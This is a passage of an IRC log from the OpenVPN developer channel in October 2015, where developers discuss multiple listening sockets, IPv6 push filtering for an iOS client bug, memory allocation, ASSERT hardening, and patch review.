have more than one option, so a rather lean towards supporting multiple local options 06:03 <@d12fk> thoughts? 06:05 <@d12fk> idea is to have a list of "local"s and during postprocessing just use the last one in client mode 06:08 <@d12fk> openvpn 4656 root 7u IPv6 1800844 0t0 TCP 10.8.18.50:pcsync-https (LISTEN) 06:08 <@d12fk> look funny 06:08 <@d12fk> but works 06:12 <@cron2> d12fk: we totally want multiple server side sockets, but the last one looking into the details in socket.c ran away screaming and only does client-side stuff since then (plaisthos) :-) 06:12 <@cron2> the code currently just does not deal with multiple listening sockets, and for "want v4 on <address>, v6 on <v6address>" you need that :-/ 06:15 <@d12fk> so maybe we need to take it with a slower pace 06:16 <@d12fk> for now i'm only interested in binding to different addresses, not ports, not families, not protocols 06:16 <@d12fk> maybe that's an easier thing to achieve 06:17 <@d12fk> i can imagine the multi protocol thing to be especially nasty 06:18 * d12fk feels brave, dives into socket.c 07:09 <@d12fk> plaisthos: since you seem to be the one who spent most tie in the socket code can you be bothered to listen to my ideas about how to implement this? 07:10 <@d12fk> cron2: do you also have knowledge in that field? 07:10 <@d12fk> since I've just a little more experience than the last 45 minutes early feedback would be welcome 07:26 <@cron2> d12fk: basically "bind to multiple ports" is the same as "bind to two different addresses" - it's "two sockets". v4/v6 does not really come into this - "bind to two ipv4 addresses, but not 0.0.0.0" will also need two sockets 07:27 <@cron2> v6 makes it a bit more "use sockaddr_in here, sockaddr_in6 there", but getaddrinfo() nicely hides that 07:28 <@d12fk> cron2: actually if you prefix the v4 addr string with "::ffff:" your done with that problem 07:29 <@d12fk> *you're 07:29 <@cron2> d12fk: well, then it's all sockaddr_in6, but you still need two sockets to bind to two addresses... 07:30 <@d12fk> jup 07:30 <@cron2> the socket handling is in mudp.c and mtcp.c, and I think plaisthos has code that does "two UDP sockets" already, but "UDP *and* TCP" seems to be truly complicated 07:30 <@cron2> for your design "2x UDP" or "2x TCP" would be good enough, though 07:30 <@d12fk> yes 07:31 <@d12fk> Thinking of making the link_socket a linked list 07:32 <@cron2> TCP needs to handle multiple sockets anyway (socket()->listen()->accept()->one socket per client) 07:32 <@cron2> but plaisthos really is the one who understand socket.c (I saw the scars) 07:33 <@d12fk> i have the gut feeling that thing may escalate qucikly and that i'm just to naive 07:33 <@d12fk> since we need it i'll start anyways 07:34 <@d12fk> or wait until I get a chance to look at plaisthos patch you mentioned 07:34 <@d12fk> ^ is it posted on the list already maybe? 07:35 <@cron2> no, he just mentioned "I have it working", but that was a few months ago 07:35 <@d12fk> plaisthos: happy the review and beta test 07:57 <@plaisthos> cron2: multiple tcp sockets is easy 07:57 <@plaisthos> cron2: multiple udp sockets failed since it did not understand the event handling of the udp socket 07:58 <@plaisthos> the tcp code needs to handle multiple sockets anyway 07:58 <@plaisthos> and haven n tcp listen sockets + m clients sockets is not that different to handle from 1 +m 07:59 <@plaisthos> the udp stuff needs only one sockets even with multiple clients 08:02 <@d12fk> plaisthos: ok so your patch is only dealing with TCP then? 08:03 <@cron2> ah. I *was* wondering, but seems I misunderstood you there 08:04 <@plaisthos> d12fk: patch is too much :) 08:04 <@plaisthos> it is more a proof of conecpt code 08:04 <@plaisthos> at the moment a lot of stuff is hardcoded 08:04 <@plaisthos> but basic idea is to have multiple <listen> directives 08:05 <@plaisthos> (renamed connections for server) 08:08 <@plaisthos> d12fk: it is almost 2 years ago 08:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:09 <@plaisthos> the last piece that was missing that OpenVPN actually puts all udp sockets in the select loop 08:15 <@d12fk> do have the "patch" somewhere, I'd base my work on it then 08:16 <@plaisthos> d12fk: on my private notebook in separate branch 08:16 <@plaisthos> :) 08:17 <@plaisthos> I can get you the code tommorrow or Sunday 08:39 <@d12fk> plaisthos: could you send it via mail? 08:47 <@dazo> cron2: Just wondered ... started writing an email to -devel ML, regarding getting rid of openvpn-testing.git and just added a comment about how we push things out to multiple places 08:52 <@plaisthos> d12fk: I will probably just push it to github as a branch and then send you the link 09:27 <@d12fk> plaisthos: ok 09:31 <@cron2> dazo: ic. Normally, push-all only sends to github and sf, but if it's useful, I can surely add a local repo 09:32 <@dazo> cron2: I'd recommend that, it's a nice sanity check 09:33 <@dazo> In addition to our official public repos, I push one to my fedorapeople.org repo and a private one on my home server 09:38 * ecrist wishes RH would release 7.2 already. 09:38 <@ecrist> :) 09:38 <@dazo> heh 09:39 <@dazo> ecrist: have you tested the beta? That's released at least :) 09:39 <@ecrist> we've tested it, yes, and like it 09:39 <@ecrist> but it's beta 09:39 <@ecrist> it seems to fix all the issues we've identified in 7.1 09:39 <@dazo> yeah, understand that 09:40 <@dazo> cool! 09:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:45 <@dazo> ecrist: I haven't looked through the release notes for 7.2 beta before ... but now I can barely wait myself for the stable release! 09:45 <@ecrist> yeah, neat stuff in there. really, we're happy RPC actually works. 09:46 <@dazo> yeah, I think I've stumbled upon the same issue you had at home ... my wife's laptop, if it has suspended, can take 15 minutes to log in due to rpc/nfs issues 09:56 <@cron2> ecrist: have you seen my note about SNAPPY in your port? 09:57 <@ecrist> oh, yeah 09:57 <@ecrist> derp 09:57 <@ecrist> I have the port update finished, but haven't pushed it upstream yet. 09:57 <@ecrist> I'll do that today. 09:58 <@cron2> thanks :) 10:02 <@ecrist> cron2: bug id 203823 10:02 <@ecrist> :) 10:04 <@ecrist> I've gotta fix the easy-rsa thing, too. 10:04 * ecrist should do it today. 10:07 <@plaisthos> btw. drop lzo it is 10:07 <@plaisthos> james also only implemented StubV2 and Lz4v2 10:39 <@cron2> plaisthos: ok 11:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 11:30 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:30 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 11:58 -!- reators [~holger@2001:1a80:2000:2:3d61:851c:5a89:7750] has quit [Quit: Leaving.] 17:24 -!- dazo is now known as dazo_afk --- Day changed Sat Oct 17 2015 04:09 -!- roentgen [~quassel@2a02:2f0a:b05f:fa00:c0c9:bce5:bbef:3e16] has joined #openvpn-devel 04:56 -!- roentgen [~quassel@2a02:2f0a:b05f:fa00:c0c9:bce5:bbef:3e16] has quit [Remote host closed the connection] 04:57 -!- roentgen [~none@2a02:2f0a:b05f:fa00:c0c9:bce5:bbef:3e16] has joined #openvpn-devel 05:15 -!- roentgen [~none@2a02:2f0a:b05f:fa00:c0c9:bce5:bbef:3e16] has quit [Changing host] 05:15 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 07:24 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 07:28 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 07:39 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 07:53 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 07:54 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:54 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 08:18 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:18 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:20 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 11:42 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 13:41 -!- link0 [~dennisdeg@backend0.link0.net] has joined #openvpn-devel --- Day changed Sun Oct 18 2015 00:03 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 00:03 -!- mode/#openvpn-devel [+o plai] by ChanServ 00:06 -!- Netsplit *.net <-> *.split quits: @plaisthos, Eagle_Erwin, @syzzer, link0 00:19 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 00:19 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 00:52 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 01:53 -!- movrax [movrax@gateway/shell/anapnea.net/x-xmnlmutgoxagtpxz] has joined #openvpn-devel 03:45 -!- roentgen_ [~none@unaffiliated/roentgen] has joined #openvpn-devel 03:48 -!- roentgen [~none@unaffiliated/roentgen] has quit [Ping timeout: 240 seconds] 04:32 -!- link0 [~dennisdeg@backend0.link0.net] has joined #openvpn-devel 07:36 <@vpnHelper> RSS Update - gitrepo: Fix privilege drop if first connection attempt fails <https://github.com/OpenVPN/openvpn/commit/825b3272acb353e04b37f38299d4df7e63e87d9e> 08:02 < movrax> cron2: I apologize for the inconvenience ( http://article.gmane.org/gmane.network.openvpn.devel/10305 ) - lesson learned, I'll be sure to *only* use 'git send-email' for patches next time 08:02 <@vpnHelper> Title: Gmane -- Re: PATCH applied Re: Fix privilege drop if first connection attempt fails (at article.gmane.org) 08:19 <@cron2> movrax: well, it's not the first time this happened, so I *should* have double-checked... - I did review the diff and test-run it, but the log "well, the script will take care of it!" :-) 10:06 <@plai> d12fk: if found my code 10:06 <@plai> but let me look on it for 1-2h ;) 13:25 <@plai> d12fk: https://github.com/schwabe/openvpn/tree/multiplesockets 13:25 <@vpnHelper> Title: schwabe/openvpn at multiplesockets · GitHub (at github.com) 13:25 <@plai> it is very raw 13:25 <@plai> and only works a bit for multiple tcp sockets 13:36 <@plai> hope it helps --- Day changed Mon Oct 19 2015 02:16 <@cron2> mornin' 02:43 <@plai> cron2: morning 02:48 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 03:26 < lev__> since server restart notification patch got ack, will it be merged? 03:27 < lev__> moarning 03:27 <@cron2> the standard answer is "yes" :-) - I might find something to complain about when merging, but normally this is the process - list, ACK, cron2/dazo do another quick review, compile-test, merge 03:28 <@cron2> sometimes I refuse an already-ACKed patch because of "coding conventions" or something, but this is happening only very seldom 03:29 <@cron2> this time, I just had no time to get all my backlog done... and valdikss is hoping for a quick fix to #614... "soon!" 03:31 < lev__> I agree that it makes sense to server not to accept new connections during last 2 seconds but IMO this should go into separate patch. Hv to think how to make it right. 03:58 <@plai> lev__: my thoughts exactly 04:00 <@plai> sigh 04:01 <@plai> Broken phones: Now Samsung S6 and One Plus Two 04:01 <@plai> 64 bit phones, preferred ABIS are arm64, arm-v7a, arm, installs 32 bit libaries of the app 04:08 <@d12fk> plai: thanks will take a look 04:09 <@plai> d12fk: the parsing of listen is probably most finished (and easiest) :) 05:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:34 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:35 <@mattock1> guys: meeting today? 05:35 <@mattock1> last meeting was two weeks ago 05:35 <@mattock1> (if we discount the hackathon) 06:07 <@mattock1> some of you might receive email from Packt publishing 06:07 <@mattock1> they're again looking for reviewers 06:10 <@plai> packt publishing? 06:10 <@plai> that does not ring a bell for me 06:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 06:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:15 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:15 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 06:15 <@plai> cron2: What I forogt to ask 06:16 <@plai> With your ipv6 patches in place, do we now have an equivalent for route x y net_gateway? 06:16 <@plai> as in 'exclude this network' from ipv6 06:16 <@plai> I don't we have, right? 06:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 06:22 <@cron2> not right now, but we have the infrastructure to at least know what "net_gateway" is :) 06:23 <@cron2> the route-ipv6 code handles addresses different from ipv4 ("because I didn't see the use case") and parses gateway addresses right away, so "net_gateway" would fail the "is this a valid ipv6 address?" bit 06:24 <@cron2> so it's not totally trivial, but "just coding", no "nasty platform dependent stuff" :) 06:31 <@plai> hopefully it will take longer until someone needs that feature 06:48 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 06:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 07:46 <@syzzer> I will probably not make it to the meeting toda 07:47 <@syzzer> at a crypto 'summer' school this week 08:07 <@cron2> haven't seen a meeting announcement yet... who would be there anyway? plai has sports... mattock1234 is bouncing... 08:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:14 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:26 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:26 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 10:51 * cron2 deep-dives into undestanding mi->context.c2 vs. mi->context.options 11:32 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 11:32 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 264 seconds] 11:32 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 11:33 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 264 seconds] 11:34 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 11:36 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:36 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:22 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:22 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 12:23 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 12:54 <@cron2> Oct 19 19:50:29 gentoo openvpn[21319]: Options error: bad comp option: snappy 12:54 <@cron2> argh 12:54 * cron2 just killed one of his test servers... 12:56 <@cron2> (updated to master, restarted, config has "compress snappy", someone took it out of the code...) 15:28 <@vpnHelper> RSS Update - gitrepo: Start Changes.rst that lists changes in 2.4.0 <https://github.com/OpenVPN/openvpn/commit/c345ffb34c48a8df8d2728303864d5e1884c00f0> || Do not set the buffer size by default but rely on the operation system default. <https://github.com/OpenVPN/openvpn/commit/f0b64e5dc00f35e3b0fe8c53a316ee74c9cbf15f> 15:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 19:13 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 265 seconds] 19:25 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer] 19:27 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 20:38 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 20:51 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 20:52 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 21:24 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 21:26 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 21:39 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 21:45 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has left #openvpn-devel ["Leaving"] 21:47 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel --- Day changed Tue Oct 20 2015 01:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:27 <@cron2> so... since the meeting was met with so much enthusiasm yesterday - shall we try again eventually? 02:39 <@mattock1> yes, definitely :D 02:39 <@mattock1> maybe next week? 02:54 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:00 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:05 <@cron2> works for me 03:06 <@mattock1> gut 03:58 <@cron2> I think one of the main topics is going to be "Windows team ideas", and the other one is T-Shirts<delete> Changes.rst format / entries for 2.3 03:58 <@cron2> and of course the usual - patch review, trac tickets (trac needs some loving...) 03:58 <@mattock1> ah, T-shirts :) 03:59 <@mattock1> what about going back to weekly meetings? too much? 03:59 <@mattock1> it seems that the biweekly meetings get surprsingly heavy 03:59 <@mattock1> lots of stuff to cover, so little time 03:59 <@mattock1> we might be more effective with shorter weekly meetings 04:00 <@cron2> I'm not sure weekly meetings are better - we usually spent 2hours on them as well 04:00 <@mattock1> well that's also true 04:00 <@cron2> I like biweekly, as that gives me time to actually get something done in between :) (like, on the other Monday evening, like yesterday) 04:00 <@mattock1> yeah, good point 04:00 <@cron2> but we can put that on the agenda as well 04:01 <@mattock1> yep 04:03 <@mattock1> I'll create a preliminary topic list 04:12 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2015-10-26 04:12 <@vpnHelper> Title: Topics-2015-10-26 – OpenVPN Community (at community.openvpn.net) 04:15 <@mattock1> enough emails for now 04:34 <@cron2> :) 05:27 <@d12fk> oh no, adding options because iOS is broken... 05:28 <@d12fk> wouldn't it be better to have the client "detect" if it is IPv6 capable and ignore the IPv6 related stuff 05:28 <@d12fk> CCDs are user specific, if the user is on iOS and a IPv6 capable OS IPv6 will never work for her 05:29 <@d12fk> ah I see Arne is in the same boat 05:36 <@cron2> d12fk: well... this is complicated - you might want to read trac 614 on this 05:37 <@cron2> in many cases the client is not aware that it's broken, but the server operator can (based on bug reports from users) use this to work around the issue until a bug fix is available 05:37 <@cron2> in this particular case, IPv6 works totally fine - but as soon as it's turned on, the iOS VPN API stops honouring the IPv*4* "redirect gateway" settings, and the VPN is IPv6-only... 05:39 <@cron2> and yes, it's ironic that I should be the one to add a "turn off IPv6" option :-) (but for folks like ValdikSS it's "either turn it off for the client, or turn it off for the whole server", which I certainly do not want) 05:40 <@cron2> it might not be necessary in the end in this particular case as I found a workaround, though :-) 05:44 <@cron2> (I'd love to have a better way to see the client OS *version* on the server, like "this is IOS 9.0.2" and not only "ios") 05:54 <@vpnHelper> RSS Update - tickets: #620: Givenchy Pandora Medium Leather Satchel Bag <https://community.openvpn.net/openvpn/ticket/620> 05:56 <@mattock1> ah, nice, leather bags 05:57 <@mattock1> no more bags 06:00 <@vpnHelper> RSS Update - tickets: #620: Spam <https://community.openvpn.net/openvpn/ticket/620> 06:19 <@plai> cron2: changing IV_PLAT is probably not a good idea 06:22 <@cron2> plai: "nice to have" and "this is actually going to happen" are two very different things here... it starts with hurdles like "get all developers to agree", "get James to implement this for iOS", "figure out which windows version is in use" (non-trivial as Win8 and up are actually lying to the apps unless the app declares itself as "yes, I can handle Win10!"), ... 06:22 <@cron2> but it still would be nice to be able to blacklist certain functionality for certain OSes, or push extra parameters... 06:23 <@plai> cron2: and also to some degree privacy concerns 06:23 <@plai> but I would them too minor in this case 08:14 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 08:59 <@plai> cron2: on second a more generic push-filter ifconfig-ipv6 route-ipv6 would probably be a better option 09:02 <@cron2> more generic, yes, but also more code to implement... (there is a few things in push.c that look like they need work anyway... like peer-id not overflowing into a continuation buffer if the current one is full) 09:03 <@cron2> what is there now is really more a starting point on how we want this to look like, and "if at all". It's a quick fix for ValdikSS :-) 09:05 < lev__> cron2: OPENSSL_malloc - no specific reason, I just searched for "malloc" in ssl_openssl.c and only occurence was OPENSSL_malloc in show_available_curves method 09:13 <@cron2> well, gc_malloc(... NULL) has the advantage of doing the "if NULL blow up!" check right away... :-) 09:13 <@cron2> so it's less code - and if a gc is around, saves the need to call free() 09:13 <@cron2> but I'll leave that to syzzer whether OPENSSL_malloc() is a "must" or "should go!" 10:39 < ValdikSS> d12fk: cron2: actually there was a patch to ignore IPv6 if it's unavailable, but it never went to mainline. 10:39 < ValdikSS> cron2: thanks for the patch. So it's iOS client problem which handles pushed routes and redirect-gateway differently? 10:45 <@d12fk> ValdikSS: can you point me to it 10:45 < ValdikSS> d12fk: http://article.gmane.org/gmane.network.openvpn.devel/8527 10:45 <@vpnHelper> Title: Gmane -- RFD: ignore ipv6 failure switch (at article.gmane.org) 10:46 < ValdikSS> d12fk: oh, it wasn't a patch but just a discussion proposal. 10:50 <@cron2> that is solving a different problem (and it turned out that *this* really isn't needed :) ) - but the iOS client thinks it has working v6, so there is no "failure in ipv6"... 10:50 <@cron2> and yes, VPN API handles "redirect!" different from "install these routes"... 14:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:01 <@syzzer> lev__, cron2: no, OPENSSL_malloc() is not right I think, and looking at my own show_available_curves() code I think I should not have used it there either... 15:20 < lev__> syzzer: ack, will change to gc_malloc 16:25 <@cron2> syzzer: awaiting a patch :) 16:25 <@syzzer> cron2: yes, will do 16:26 <@cron2> and plai: thought about it while cycling today, and indeed, "push-filter $keyword(s)" is the right way forward - it can do what push-suppress-ipv6 does, but also arbitrary other client fixes if needed ("this client will explode if we push "route 192.1681.0") 16:37 <@syzzer> funny. the clang static analyzer seems to actually have found a memory leak in th auth-pam plugin 16:38 <@syzzer> it however mainly finds 'null pointer dereferences', because it does not understand our ASSERT(), just like coverity 17:00 <@plai> cron2: you might want to look into --ignore-unknown-option for the push-filter 17:00 <@plai> if you want to build a longer list 17:32 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Quit: Leaving] 17:43 <@syzzer> cron2: three patches on the list for you ;) 23:05 -!- roentgen_ [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 23:10 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 23:11 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 23:12 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel --- Day changed Wed Oct 21 2015 00:05 -!- arlen [~arlen@jarvis.arlen.io] has left #openvpn-devel ["exit"] 00:11 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 01:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:40 <@cron2> syzzer: don't you guys ever sleep!! *rub eyes* :-) 01:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 01:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:32 -!- dazo_afk is now known as dazo 02:45 <@syzzer> cron2: I don't have kids, my sleep-wake cycle is just different ;) 02:49 <@cron2> syzzer: I'm not sure I agree to the ASSERT() hardening patch - by inlining the function, I think you'll end up having a copy of that "Assertion failed" string in every source file... 02:49 <@cron2> maybe insert the _exit(1) in the macro itself? 02:49 <@syzzer> cron2: hmm, that is a fair point 02:50 <@syzzer> yes, I did that first, but it looked ugly :p 02:50 <@syzzer> but it might be better indeed 02:50 <@cron2> or is there a gcc pragma to flag assert_failed() as "will never return"? 02:50 <@cron2> (so we could have _exit(1) *in* assert_failed(), but still make coverity and friends happy) 02:50 <@cron2> s/pragma/__attribute__/ or whatever :) 02:51 <@syzzer> there is: http://clang-analyzer.llvm.org/annotations.html#attr_noreturn 02:51 <@vpnHelper> Title: Source Annotations (at clang-analyzer.llvm.org) 02:52 <@cron2> I think this might be nicer overall :) 02:52 <@syzzer> yes, I'll send a v2 02:52 <@cron2> thanks 02:53 <@cron2> haha "It does not make sense for a noreturn function to have a return type other than void" :-) 03:12 <@syzzer> plai: sorry, just sent a v2 of the patch you ACK'ed... 03:14 <@cron2> plai is very busy ACKing patches these days that get immediately superseded... :-) 03:14 <@plai> seems so :( 03:15 <@plai> syzzer: I won't ack V3 03:15 <@plai> ! 03:16 <@cron2> I'll merge-ack v2 then instead ;-) 03:16 <@cron2> (and *then* we should finally figure out how this coverity thing works nowadays, and get a full new scan into the system) 03:25 <@cron2> arrr 03:25 * cron2 did not see plai's ACK in time... 03:26 <@cron2> (and I'll do the rest tonight, need to focus on on-site paid-for work now) 03:30 <@vpnHelper> RSS Update - gitrepo: hardening: add insurance to exit on a failed ASSERT() <https://github.com/OpenVPN/openvpn/commit/e8a9e3203bf00605dae000d31095076ae038491c> 03:35 -!- TimSmall [~tim@ipv6test5.plus.com] has quit [Remote host closed the connection] 04:50 -!- dazo is now known as dazo_afk 08:31 -!- dazo_afk is now known as dazo 09:29 <@dazo> syzzer: Some goodie for you: "A RIDDLE WRAPPED IN AN ENIGMA" (NEAL KOBLITZ AND ALFRED J. MENEZES) https://t.co/RsqSSa7ZEO .... "Abstract. In August 2015 the U.S. National Security Agency (NSA) 09:29 <@dazo> released a major policy statement on the need for post-quantum cryp- 09:29 <@dazo> tography (PQC). This announcement will be a great stimulus to the 09:29 <@dazo> development, standardization, and commercialization of new quantum- 09:29 <@dazo> safe algorithms. However, certain peculiarities in the wording and tim- 09:29 <@dazo> ing of the statement have puzzled many people and given rise to much 09:29 <@dazo> speculation concerning the NSA, elliptic curve cryptography (ECC), and 09:29 <@dazo> quantum-safe cryptography. Our purpose is to attempt to evaluate some 09:29 <@dazo> of the theories that have been proposed." 12:33 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 12:33 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds] 15:04 -!- dazo is now known as dazo_afk 18:41 -!- s7r_ is now known as s7r 21:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 21:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 21:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Thu Oct 22 2015 00:45 -!- woodrow [sid13914@gateway/web/irccloud.com/x-hqvqqeadfqcmolvd] has quit [Quit: Connection closed for inactivity] 03:50 -!- dazo_afk is now known as dazo 06:14 <@dazo> cron2: I'm pondering just pushing out an updated .mailmap file ... by setting 'git config [--global] log.mailmap true' ... the addresses in logs will be rewritten according to mailmap 06:15 <@dazo> just having a fix for james' SVN ID and that I'm trying to indicate that I'm deprecating my sf.net address 06:41 <@d12fk> i would like to extend management_set_state to also log the ipv6 address assigned to the client 06:42 <@d12fk> current format is: 06:43 <@d12fk> <TIMESTAMP>,<STATE>,[<MESSAGE>],[<LOCAL_IP>][,<REMOTE_IP>] 06:43 <@d12fk> would change to: 06:43 <@d12fk> <TIMESTAMP>,<STATE>,[<MESSAGE>],[<LOCAL_IP>][,<REMOTE_IP>][,<LOCAL_IP6>] 06:44 <@d12fk> and fix the wrong display of remote_IP if it is IPv6 06:44 <@d12fk> is this patch welcome? 06:55 <@plai> I wouldn't object it 07:02 <@d12fk> some parsers might take [,<REMOTE_IP>][,<LOCAL_IP6>] as REMOTE_IP, maybe we should also add some guide to the management-notes.txt explaining that things can be extended in the future and one should expect , as well as end of line as field terminators for currently last fields 07:04 <@dazo> d12fk: makes a lot of sense to me, all of it 07:04 <@dazo> d12fk: and since you say the magic word "IPv6" ... cron2 will probably be enthusiastic too! ;-) 07:05 <@d12fk> hehe, he seems to be AFK or he would have been first to respond 07:05 <@d12fk> will send a patch soon 07:28 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 256 seconds] 07:35 <@cron2> dazo: I'm not sure I understand - what would that change? "history in git" or "something else"? 07:36 <@cron2> d12fk: busy breaking stuff elsewhere :-) - but it seems to be a useful addition 07:36 <@dazo> cron2: it just adopts the "git log and friends" output with a proper e-mail address and names 07:37 <@cron2> definitely something that needs mention on the openvpn-users list and Changes.rst so other users of the mgmt if can adjust their code 07:37 <@dazo> it does not change the git history, but a on-the-fly rewrite before sent to stdout 07:38 <@cron2> so it would be part of the repo, and "other users" could then see your new mail address when looking at the log? 07:39 <@dazo> cron2: yeah, the only hatch is that 'git config log.mailmap true' must be set ... or using --use-mailmap on the command line ... but that might change in a later git release (that this preference can be pushed out) 07:39 <@dazo> .mailmap anyhow indicates fairly better which addresses are preferred 07:43 * dazo hunts for some food 07:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 07:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:53 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:14 < lev__> moar windows patches! 08:27 <@cron2> NAK on that, without seeing what "weird issues" are 08:27 <@cron2> we might have fixed those long ago... 08:28 <@cron2> also, double-NAK, because if it does not work for "set address" it is very likely to also not work for "set route", so in any case, the patch would be incomplete 09:08 <@d12fk> cron2: have a IPv6 phenomenon here 09:09 <@d12fk> it's about IPv6 pool addresses. ifconfig_ipv6_remote in the env contains abba::2, but the client gets pushed abba::1000. It an older version of openvpn, was there a bug of that sort? 09:10 <@d12fk> pool obv. is abba::/64 09:12 <@cron2> client env or server per-client env? 09:12 <@d12fk> server env 09:12 <@cron2> pushing abba::1000 is intended ("base + 1000 + position in ipv4 pool") 09:13 <@cron2> this is a bug. I think someone mentioned it "in passing" before, but it did not reach the source - dunno whether it got lost on openvpn-devel, or even before that 09:13 